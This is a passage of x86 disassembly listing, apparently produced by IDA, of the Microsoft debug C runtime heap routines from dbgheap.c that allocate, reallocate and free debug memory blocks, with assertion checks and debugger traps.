		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41BEC0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415385
		xor	eax, eax
		jmp	loc_4154DC
; ---------------------------------------------------------------------------


loc_415385:				; CODE XREF: sub_4151D0+1ACj
		mov	edx, dword_444E74
		add	edx, 1
		mov	dword_444E74, edx
		cmp	[ebp+var_C], 0
		jz	short loc_4153E3
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+0Ch], 0FEDCBABCh
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 3
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+18h], 0
		jmp	loc_415483
; ---------------------------------------------------------------------------


loc_4153E3:				; CODE XREF: sub_4151D0+1C8j
		mov	edx, dword_4DDF70
		add	edx, [ebp+arg_0]
		mov	dword_4DDF70, edx
		mov	eax, dword_4DDF78
		add	eax, [ebp+arg_0]
		mov	dword_4DDF78, eax
		mov	ecx, dword_4DDF78
		cmp	ecx, dword_4DDF7C
		jbe	short loc_415419
		mov	edx, dword_4DDF78
		mov	dword_4DDF7C, edx


loc_415419:				; CODE XREF: sub_4151D0+23Bj
		cmp	dword_4DDF74, 0
		jz	short loc_41542F
		mov	eax, dword_4DDF74
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_415438
; ---------------------------------------------------------------------------


loc_41542F:				; CODE XREF: sub_4151D0+250j
		mov	edx, [ebp+var_4]
		mov	dword_4DDF6C, edx


loc_415438:				; CODE XREF: sub_4151D0+25Dj
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4DDF74
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[edx+18h], eax
		mov	ecx, [ebp+var_4]
		mov	dword_4DDF74, ecx


loc_415483:				; CODE XREF: sub_4151D0+20Ej
		push	4
		xor	edx, edx
		mov	dl, byte_444E7C
		push	edx
		mov	eax, [ebp+var_4]
		add	eax, 1Ch
		push	eax
		call	sub_417700
		add	esp, 0Ch
		push	4
		xor	ecx, ecx
		mov	cl, byte_444E7C
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx+20h]
		push	ecx
		call	sub_417700
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		xor	eax, eax
		mov	al, byte_444E7E
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		call	sub_417700
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, 20h


loc_4154DC:				; CODE XREF: sub_4151D0+DFj
					; sub_4151D0+13Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4151D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_415520
		add	esp, 14h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415520	proc near		; CODE XREF: .data:00415502p
					; sub_41ACD0+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_415579
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_415560:				; CODE XREF: sub_415520+57j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_415579
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_415560
; ---------------------------------------------------------------------------


loc_415579:				; CODE XREF: sub_415520+2Fj
					; sub_415520+46j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_415520	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415580	proc near		; CODE XREF: sub_4010AA+2Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4155B0
		add	esp, 14h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_415580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155B0	proc near		; CODE XREF: sub_415580+12p
					; sub_419EA0+50p ...

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 0041561E SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4345C8
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		push	1
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415640
		add	esp, 18h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_415613
		jmp	short loc_41561E
sub_4155B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415613	proc near		; CODE XREF: sub_4155B0+5Cp
					; DATA XREF: .data:004345D0o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_415613	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4155B0


loc_41561E:				; CODE XREF: sub_4155B0+61j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4155B0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415640	proc near		; CODE XREF: sub_4155B0+4Ap
					; sub_415B90+4Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_415673
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_4150C0
		add	esp, 10h
		jmp	loc_415B4A
; ---------------------------------------------------------------------------


loc_415673:				; CODE XREF: sub_415640+14j
		cmp	[ebp+arg_14], 0
		jz	short loc_415696
		cmp	[ebp+arg_4], 0
		jnz	short loc_415696
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_415C60
		add	esp, 8
		xor	eax, eax
		jmp	loc_415B4A
; ---------------------------------------------------------------------------


loc_415696:				; CODE XREF: sub_415640+37j
					; sub_415640+3Dj
		mov	eax, dword_444E70
		and	eax, 4
		test	eax, eax
		jz	short loc_4156D2


loc_4156A2:				; CODE XREF: sub_415640+90j
		call	sub_416420
		test	eax, eax
		jnz	short loc_4156CC
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	246h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4156CC
		int	3		; Trap to Debugger


loc_4156CC:				; CODE XREF: sub_415640+69j
					; sub_415640+89j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4156A2


loc_4156D2:				; CODE XREF: sub_415640+60j
		mov	edx, dword_444E74
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, dword_444E78
		jnz	short loc_4156E7
		int	3		; Trap to Debugger


loc_4156E7:				; CODE XREF: sub_415640+A4j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	2
		call	off_445240
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41576C
		cmp	[ebp+arg_C], 0
		jz	short loc_41573F


loc_415714:				; CODE XREF: sub_415640+FBj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		push	offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_415737
		int	3		; Trap to Debugger


loc_415737:				; CODE XREF: sub_415640+F4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415714
		jmp	short loc_415765
; ---------------------------------------------------------------------------


loc_41573F:				; CODE XREF: sub_415640+D2j
					; sub_415640+123j
		push	offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41575F
		int	3		; Trap to Debugger


loc_41575F:				; CODE XREF: sub_415640+11Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41573F


loc_415765:				; CODE XREF: sub_415640+FDj
		xor	eax, eax
		jmp	loc_415B4A
; ---------------------------------------------------------------------------


loc_41576C:				; CODE XREF: sub_415640+CCj
		cmp	[ebp+arg_4], 0FFFFFFDBh
		jbe	short loc_41579E


loc_415772:				; CODE XREF: sub_415640+155j
		mov	edx, [ebp+arg_4]
		push	edx
		push	offset aAllocationTooL ; "Allocation too large or negative: %u by"...
		push	0
		push	0
		push	0
		push	1
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_415791
		int	3		; Trap to Debugger


loc_415791:				; CODE XREF: sub_415640+14Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_415772
		xor	eax, eax
		jmp	loc_415B4A
; ---------------------------------------------------------------------------


loc_41579E:				; CODE XREF: sub_415640+130j
		cmp	[ebp+arg_8], 1
		jz	short loc_4157E6
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_4157E6
		mov	edx, [ebp+arg_8]
		and	edx, 0FFFFh
		cmp	edx, 2
		jz	short loc_4157E6


loc_4157C0:				; CODE XREF: sub_415640+1A4j
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4157E0
		int	3		; Trap to Debugger


loc_4157E0:				; CODE XREF: sub_415640+19Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4157C0


loc_4157E6:				; CODE XREF: sub_415640+162j
					; sub_415640+170j ...
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_416900
		add	esp, 4
		test	eax, eax
		jnz	short loc_415817
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	26Eh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415817
		int	3		; Trap to Debugger


loc_415817:				; CODE XREF: sub_415640+1B4j
					; sub_415640+1D4j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4157E6
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_415836
		mov	[ebp+var_14], 1


loc_415836:				; CODE XREF: sub_415640+1EDj
		cmp	[ebp+var_14], 0
		jz	short loc_41587A


loc_41583C:				; CODE XREF: sub_415640+236j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_415851
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_415872


loc_415851:				; CODE XREF: sub_415640+206j
		push	offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
		push	0
		push	278h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415872
		int	3		; Trap to Debugger


loc_415872:				; CODE XREF: sub_415640+20Fj
					; sub_415640+22Fj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41583C
		jmp	short loc_4158DE
; ---------------------------------------------------------------------------


loc_41587A:				; CODE XREF: sub_415640+1FAj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41589F
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	ecx, 1
		jnz	short loc_41589F
		mov	[ebp+arg_8], 2


loc_41589F:				; CODE XREF: sub_415640+248j
					; sub_415640+256j ...
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	short loc_4158D8
		push	offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
		push	0
		push	27Fh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4158D8
		int	3		; Trap to Debugger


loc_4158D8:				; CODE XREF: sub_415640+275j
					; sub_415640+295j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41589F


loc_4158DE:				; CODE XREF: sub_415640+238j
		cmp	[ebp+arg_14], 0
		jz	short loc_415909
		mov	eax, [ebp+arg_4]
		add	eax, 24h
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41C230
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_415907
		xor	eax, eax
		jmp	loc_415B4A
; ---------------------------------------------------------------------------


loc_415907:				; CODE XREF: sub_415640+2BEj
		jmp	short loc_41592C
; ---------------------------------------------------------------------------


loc_415909:				; CODE XREF: sub_415640+2A2j
		mov	edx, [ebp+arg_4]
		add	edx, 24h
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_41C020
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_41592C
		xor	eax, eax
		jmp	loc_415B4A
; ---------------------------------------------------------------------------


loc_41592C:				; CODE XREF: sub_415640:loc_415907j
					; sub_415640+2E3j
		mov	ecx, dword_444E74
		add	ecx, 1
		mov	dword_444E74, ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_415997
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DDF70
		sub	eax, [edx+10h]
		mov	dword_4DDF70, eax
		mov	ecx, dword_4DDF70
		add	ecx, [ebp+arg_4]
		mov	dword_4DDF70, ecx
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DDF78
		sub	eax, [edx+10h]
		mov	dword_4DDF78, eax
		mov	ecx, dword_4DDF78
		add	ecx, [ebp+arg_4]
		mov	dword_4DDF78, ecx
		mov	edx, dword_4DDF78
		cmp	edx, dword_4DDF7C
		jbe	short loc_415997
		mov	eax, dword_4DDF78
		mov	dword_4DDF7C, eax


loc_415997:				; CODE XREF: sub_415640+2FFj
					; sub_415640+34Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 20h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		cmp	eax, [edx+10h]
		jbe	short loc_4159CF
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		sub	edx, [ecx+10h]
		push	edx
		xor	eax, eax
		mov	al, byte_444E7E
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+10h]
		push	edx
		call	sub_417700
		add	esp, 0Ch


loc_4159CF:				; CODE XREF: sub_415640+369j
		push	4
		xor	eax, eax
		mov	al, byte_444E7C
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_417700
		add	esp, 0Ch
		cmp	[ebp+var_14], 0
		jnz	short loc_415A09
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_10]
		mov	[ecx+0Ch], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		mov	[eax+18h], ecx


loc_415A09:				; CODE XREF: sub_415640+3ACj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		mov	[edx+10h], eax


loc_415A12:				; CODE XREF: sub_415640+40Bj
		cmp	[ebp+arg_14], 0
		jnz	short loc_415A47
		cmp	[ebp+arg_14], 0
		jnz	short loc_415A26
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jz	short loc_415A47


loc_415A26:				; CODE XREF: sub_415640+3DCj
		push	offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
		push	0
		push	2B5h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415A47
		int	3		; Trap to Debugger


loc_415A47:				; CODE XREF: sub_415640+3D6j
					; sub_415640+3E4j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_415A12
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_8]
		jz	short loc_415A5B
		cmp	[ebp+var_14], 0
		jz	short loc_415A63


loc_415A5B:				; CODE XREF: sub_415640+413j
		mov	eax, [ebp+var_4]
		jmp	loc_415B4A
; ---------------------------------------------------------------------------


loc_415A63:				; CODE XREF: sub_415640+419j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx], 0
		jz	short loc_415A7B
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		jmp	short loc_415AB7
; ---------------------------------------------------------------------------


loc_415A7B:				; CODE XREF: sub_415640+429j
					; sub_415640+46Aj
		mov	eax, dword_4DDF6C
		cmp	eax, [ebp+var_8]
		jz	short loc_415AA6
		push	offset a_plastblockPol ; "_pLastBlock == pOldBlock"
		push	0
		push	2C4h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415AA6
		int	3		; Trap to Debugger


loc_415AA6:				; CODE XREF: sub_415640+443j
					; sub_415640+463j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415A7B
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	dword_4DDF6C, eax


loc_415AB7:				; CODE XREF: sub_415640+439j
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_415ACF
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	[eax], edx
		jmp	short loc_415B0A
; ---------------------------------------------------------------------------


loc_415ACF:				; CODE XREF: sub_415640+47Ej
					; sub_415640+4BEj
		mov	eax, dword_4DDF74
		cmp	eax, [ebp+var_8]
		jz	short loc_415AFA
		push	offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
		push	0
		push	2CFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415AFA
		int	3		; Trap to Debugger


loc_415AFA:				; CODE XREF: sub_415640+497j
					; sub_415640+4B7j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415ACF
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		mov	dword_4DDF74, eax


loc_415B0A:				; CODE XREF: sub_415640+48Dj
		cmp	dword_4DDF74, 0
		jz	short loc_415B21
		mov	ecx, dword_4DDF74
		mov	edx, [ebp+var_C]
		mov	[ecx+4], edx
		jmp	short loc_415B29
; ---------------------------------------------------------------------------


loc_415B21:				; CODE XREF: sub_415640+4D1j
		mov	eax, [ebp+var_C]
		mov	dword_4DDF6C, eax


loc_415B29:				; CODE XREF: sub_415640+4DFj
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DDF74
		mov	[ecx], edx
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_C]
		mov	dword_4DDF74, ecx
		mov	eax, [ebp+var_4]


loc_415B4A:				; CODE XREF: sub_415640+2Ej
					; sub_415640+51j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415640	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_415B90
		add	esp, 14h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B90	proc near		; CODE XREF: .data:00415B72p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

; FUNCTION CHUNK AT 00415BFE SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434778
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		push	0
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415640
		add	esp, 18h
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_415BF3
		jmp	short loc_415BFE
sub_415B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BF3	proc near		; CODE XREF: sub_415B90+5Cp
					; DATA XREF: .data:00434780o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_415BF3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_415B90


loc_415BFE:				; CODE XREF: sub_415B90+61j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_415B90
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C20	proc near		; CODE XREF: sub_4010AA+5Cp
					; sub_40879E+B7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_415C60
		add	esp, 8
		pop	ebp
		retn
sub_415C20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_415CD0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C60	proc near		; CODE XREF: sub_414FD0+98p
					; sub_415640+47p ...

var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00415CBD SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434788
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415CD0
		add	esp, 8
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_415CB2
		jmp	short loc_415CBD
sub_415C60	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CB2	proc near		; CODE XREF: sub_415C60+4Bp
					; DATA XREF: .data:00434790o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_415CB2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_415C60


loc_415CBD:				; CODE XREF: sub_415C60+50j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_415C60
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CD0	proc near		; CODE XREF: .data:00415C49p
					; sub_415C60+3Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_444E70
		and	eax, 4
		test	eax, eax
		jz	short loc_415D13


loc_415CE3:				; CODE XREF: sub_415CD0+41j
		call	sub_416420
		test	eax, eax
		jnz	short loc_415D0D
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	402h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_415D0D
		int	3		; Trap to Debugger


loc_415D0D:				; CODE XREF: sub_415CD0+1Aj
					; sub_415CD0+3Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415CE3


loc_415D13:				; CODE XREF: sub_415CD0+11j
		cmp	[ebp+arg_0], 0
		jnz	short loc_415D1E
		jmp	loc_4160B5
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415CD0+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	off_445240
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_415D68


loc_415D3D:				; CODE XREF: sub_415CD0+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_20	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41B010
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_415D5D
		int	3		; Trap to Debugger


loc_415D5D:				; CODE XREF: sub_415CD0+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_415D3D
		jmp	loc_4160B5
; ---------------------------------------------------------------------------


loc_415D68:				; CODE XREF: sub_415CD0+6Bj
					; sub_415CD0+CDj
